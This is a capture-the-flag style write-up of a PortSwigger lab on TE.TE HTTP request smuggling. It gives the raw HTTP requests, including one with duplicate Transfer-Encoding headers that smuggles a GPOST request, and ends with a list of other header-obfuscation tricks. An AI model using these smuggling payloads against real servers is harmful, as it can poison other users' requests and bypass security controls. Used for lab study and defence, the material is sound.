| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP Request Smuggling — TE.TE |
| Difficulty | Practitioner |
| Objective | Cause the back-end to process a request with the method GPOST using duplicate TE headers |
| Note | Switch Burp Repeater to HTTP/1 manually. Disable "Update Content-Length." |
HTTP Request Smuggling — Obfuscating the TE Header¶
Intercepting a root request, switching to POST and HTTP/1.1, cleaning up headers. Both front-end and back-end support Transfer-Encoding: chunked — TE.TE configuration, not CL.TE or TE.CL.
Testing a valid chunked body first:
POST / HTTP/1.1
Host: 0a7c00d80454256a81c85c4a00040071.web-security-academy.net
Content-Length: 12
Transfer-Encoding: chunked
4
teto
0
200 OK. Replacing the 0 terminator with an invalid chunk size (miku) — 400 Bad Request. The front-end is parsing chunked encoding and rejected the invalid terminator.
Inflating Content-Length to 20 — more than what the chunked body provides:
200 OK — the back-end also terminates at the 0 chunk rather than waiting for more bytes. Both servers process TE, so standard CL.TE or TE.CL won't create a desync. Trying the standard TE.CL payload anyway to confirm:
POST / HTTP/1.1
Host: 0a7c00d80454256a81c85c4a00040071.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
35
GPOST /miku HTTP/1.1
Content-Length: 20
teto=teto
0
Always 200 OK — the back-end processes Transfer-Encoding just fine and Content-Length: 4 gets ignored. No desync.
The attack vector in TE.TE is to make one of the servers ignore Transfer-Encoding by obfuscating it. Sending two Transfer-Encoding headers — one valid, one with an invalid value:
POST / HTTP/1.1
Host: 0a7c00d80454256a81c85c4a00040071.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: teto
35
GPOST /miku HTTP/1.1
Content-Length: 20
teto=teto
0
Unrecognized method GPOST as the response, this will solve the lab ;p
What happened is: the front-end sees two Transfer-Encoding headers, takes the last one (teto), finds it invalid, and falls back to Content-Length — reads 4 bytes and forwards everything to the back-end.
The back-end, with a different duplicate-header policy, takes the first Transfer-Encoding: chunked and ignores the invalid second one — processes the chunked body, terminates at 0, and leaves GPOST /miku... in the buffer. The next real request collides with it.
Duplicate headers are one obfuscation vector, but there are others — spacing (Transfer-Encoding : chunked), invalid values (Transfer-Encoding: xchunked), tab-delimited values, injected newlines. The goal is always the same: get one server to ignore TE while the other uses it.